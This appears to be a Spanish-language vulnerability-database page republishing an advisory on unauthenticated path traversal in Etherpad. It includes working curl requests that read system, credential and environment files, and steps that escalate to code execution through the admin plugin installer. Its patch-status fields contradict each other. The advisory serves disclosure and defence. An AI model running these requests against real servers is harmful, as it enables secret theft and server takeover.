llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · ep_etherpad-lite

GHSA-MC8W-WJHW-45X5

Etherpad: lectura arbitraria de archivos sin autenticación previa

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
9.8
Crítica
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición10 hDesde la divulgación, 19 nov 2026, 7:23 p. m.
Detección1 minDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Monitoreo
Detectada
Fuente: GitHub Security Advisories +2
05:00 p. m.
07:23 p. m.
05:14 a. m.
05:00 p. m.
02:04 a. m.
11:07 a. m.
08:11 p. m.
05:14 a. m.
FechaFaseEventoDetalle
Monitoreo Detectada Ingresó al índice
Divulgación Publicada GHSA-MC8W-WJHW-45X5 divulgada · CVSS 9.8 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Fuente: GitHub Security Advisories Registro visto por primera vez en GitHub Security Advisories
Monitoreo Fuente: OSV Registro visto por primera vez en OSV
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Traducción automática · Ver original
Descripción del advisory
Traducción automática · GitHub
Resumen

Una vulnerabilidad de recorrido de rutas (path traversal) y lectura arbitraria de archivos en el manejador `/static/*` de Etherpad permite a cualquier usuario remoto no autenticado leer cualquier archivo del sistema de archivos del servidor que sea legible por el usuario que ejecuta el software de Etherpad (por ejemplo, `GET /static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd` devuelve `/etc/passwd`). Como el endpoint se monta antes del middleware de autenticación, no se requieren credenciales, sesión ni cambios de configuración. La primitiva de lectura puede escalar a un compromiso total del servidor: en una implementación típica, al divulgar `settings.json`, `credentials.json` o `/proc/self/environ`, que contienen la contraseña de administrador, lo que permite al atacante obtener una sesión de administrador y, mediante el instalador de plugins de administración, ejecución remota de código.

Detalles

Etherpad sirve los recursos estáticos de los plugins mediante `src/node/utils/Minify.ts`. La ruta de la solicitud pasa primero por el sanitizador canónico `src/node/utils/sanitizePathname.ts`, que solo convierte barras invertidas en barras normales en Windows:

// src/node/utils/sanitizePathname.ts:11-20
p = pathApi.normalize(p);
if (pathApi.isAbsolute(p)) throw new Error(`absolute paths are forbidden: ${p}`);
if (p.split(pathApi.sep)[0] === '..') throw new Error(`directory traversal: ${p}`);
// THIS CONVERSION MUST ONLY BE DONE ON WINDOWS, otherwise on POSIXish systems '..\\' in the input
// pathname would not be normalized away before being converted to '../'.
if (pathApi.sep === '\\') p = p.replace(/\\/g, '/');

En Linux, la barra invertida es un byte ordinario de nombre de archivo, por lo que un segmento de entrada como `..\..\..\test` no contiene componentes de ruta `./` o `../` y supera todas las comprobaciones de `sanitizePathname` sin cambios. El propio conjunto de pruebas del proyecto lo confirma: `src/tests/backend-new/specs/sanitizePathname.ts:62` incluye `['posix', '..\\foo']` entre las rutas aceptadas (devueltas sin cambios).

La vulnerabilidad está en que `Minify.ts` aplica después del sanitizador esa conversión exclusiva de Windows, de forma incondicional, justificada por un comentario que afirma lo contrario de la premisa anterior:

// src/node/utils/Minify.ts:171-186
const match = filename.match(/^plugins\/([^/]+)(\/(?:(static\/.*)|.*))?$/);
if (match) {
const library = match[1];
const libraryPath = match[2] || '';
if (plugins.plugins[library] && match[3]) {
const plugin = plugins.plugins[library];
const pluginPath = plugin.package.realPath;      // for 'ep_etherpad-lite' == <root>/src
filename = path.join(pluginPath, libraryPath);   // -> absolute path, backslashes preserved
// ... "This conversion does not introduce a directory
// traversal vulnerability because all '..\\' substrings have already been removed by
// sanitizePathname."                              // <-- FALSE on POSIX
filename = filename.replace(/\\/g, '/');          // <-- reintroduces ../ AFTER the check
}

Después de la línea 186, la cadena se convierte en un recorrido real (`<root>/src/static/../../../../etc/passwd`) sin renormalización ni comprobación de contención antes de las llamadas al sistema de archivos en `Minify.ts:248` (`fs.stat`) y `Minify.ts:315` (`fs.readFile`). Como `path.join` en la línea 179 produce una ruta absoluta, `path.resolve(ROOT_DIR, filename)` descarta por completo `ROOT_DIR`, y `path.resolve` en POSIX colapsa los `..` sobrantes en `/`, por lo que la carga útil no depende de la profundidad de la raíz.

La ruta es accesible antes de la autenticación. Se registra en el hook `expressPreSession`:

// src/ep.json
{ "name": "static", "hooks": { "expressPreSession": "ep_etherpad-lite/node/hooks/express/static" } }
// src/node/hooks/express/static.ts:38
app.all('/static/*filename', minify);

Y `expressPreSession` se ejecuta antes del middleware de autenticación:

// src/node/hooks/express.ts:244-247
await hooks.aCallAll('expressPreSession', {app, settings});   // static route registered here
app.use(exports.sessionMiddleware);
app.use(webaccess.checkAccess);                                // auth runs AFTER

La rama de plugins siempre se toma, porque `src/static/js/pluginfw/plugins.ts:153-158` registra incondicionalmente el pseudo-plugin principal `ep_etherpad-lite` con `package.realPath = <root>/src`.

Dos hechos sobre la decodificación hacen que el exploit funcione: Express 5 y path-to-regexp v8 decodifican los parámetros comodín segmento por segmento, una sola vez (`(v) => v.split('/').map(decodeURIComponent)`), de modo que `req.params.filename.join('/')` (`Minify.ts:147`) produce la ruta decodificada una vez que se pasa al sanitizador, y `%5C` (barra invertida codificada) es el único separador que funciona (`%2F` se decodifica a `/`, se vuelve a dividir y es rechazado por la comprobación `split('/')[0] === '..'`).

PoC

Aplica a una implementación de producción por defecto (sin configuración especial; funciona en Linux, por ejemplo con la imagen de Docker o con una instalación desde código fuente gestionada por systemd). Sustituya `TARGET:9001` por la instancia objetivo.

  1. Leer `/etc/passwd` (o cualquier archivo) sin autenticación. `--path-as-is` evita que el cliente simplifique el recorrido:
curl --path-as-is \
'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd'

Otras lecturas de alto valor (se excede la profundidad de `..`; se absorbe en `/`):

Contraseña de administrador y secretos, independiente de la raíz mediante `/proc/self/cwd`

curl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/settings.json'
curl --path-as-is
'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/credentials.json'

En implementaciones con docker-compose, la contraseña de administrador es una variable de entorno:
`curl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/environ'`

Cada respuesta devuelve los bytes del archivo sin procesar (con una cabecera `Content-Type: false` inofensiva para objetivos sin extensión; Node convierte el valor y no lanza una excepción).

  1. Escalar a RCE. Recupere la credencial de administrador de los archivos leídos en el paso 1 y luego:

Obtener una sesión de administrador

curl -i -X POST 'http://TARGET:9001/admin-auth/' \
-H "Authorization: Basic $(printf 'admin:PASSWORD' | base64)"
# -> 200 + Set-Cookie: <prefix>express_sid=...

Usando esa cookie `express_sid`, conéctese al espacio de nombres Socket.IO `/pluginfw/installer` (protegido únicamente por `session.user.is_admin`, `src/node/hooks/express/adminplugins.ts:22`) y emita `install` para un plugin `ep_*` controlado por el atacante. Etherpad ejecuta `require()` sobre el código del plugin dentro del mismo proceso durante `plugins.update()` (`src/static/js/pluginfw/shared.ts:30`), ejecutando código arbitrario como el usuario de Etherpad.

Impacto
  • Tipo: limitación inapropiada de una ruta (pathname) que conduce a lectura arbitraria de archivos sin autenticación, con posibilidad de ejecución remota de código.
  • Acceso requerido: ninguno. La ruta vulnerable se sirve antes del middleware de autenticación y autorización, por lo que puede explotarla cualquier cliente que alcance el puerto HTTP, independientemente de la configuración de `requireAuthentication`, `requireAuthorization` o `users`.
  • Qué puede acceder un atacante: cualquier archivo legible por el usuario del proceso de Etherpad, incluidos `settings.json` y `credentials.json` (contraseña de administrador, `sessionKey`, credenciales de base de datos, secretos de cliente de SSO), `/proc/self/environ` (secretos suministrados por el entorno, como `ADMIN_PASSWORD` o `DB_PASS`), la base de datos de pads, las claves privadas TLS y archivos del sistema operativo como `/etc/passwd`.
  • Escalamiento: la contraseña de administrador divulgada otorga una sesión de administrador; el instalador de plugins de administración proporciona después ejecución de código en el mismo proceso, es decir, la toma total del servidor. Incluso sin el paso del plugin, el acceso de administrador permite reescribir toda la configuración (`saveSettings` y `restartServer`) y exfiltrar todos los datos almacenados.
  • Afectados: todo operador que ejecute una versión vulnerable, especialmente quienes expongan Etherpad directamente a redes no confiables. Un proxy inverso no mitiga el problema, porque el recorrido usa `%5C`, que los proxies reenvían sin cambios.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
ep_etherpad-lite≥ 1.8.14 < 3.3.3
1.8.14
3.3.3
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmep_etherpad-lite
Sin parche — — 1.8.14 afectada
Versiones corregidas3.3.3
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Otrahttps://github.com/ether/etherpad/security/advisories/GHSA-mc8w-wjhw-45x5
Otrahttps://github.com/ether/etherpad/pull/8081
Otrahttps://github.com/ether/etherpad/commit/9c8d16d50e2fdfd9693ab35c43280410cb4db2fc
Otrahttps://github.com/ether/etherpad

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.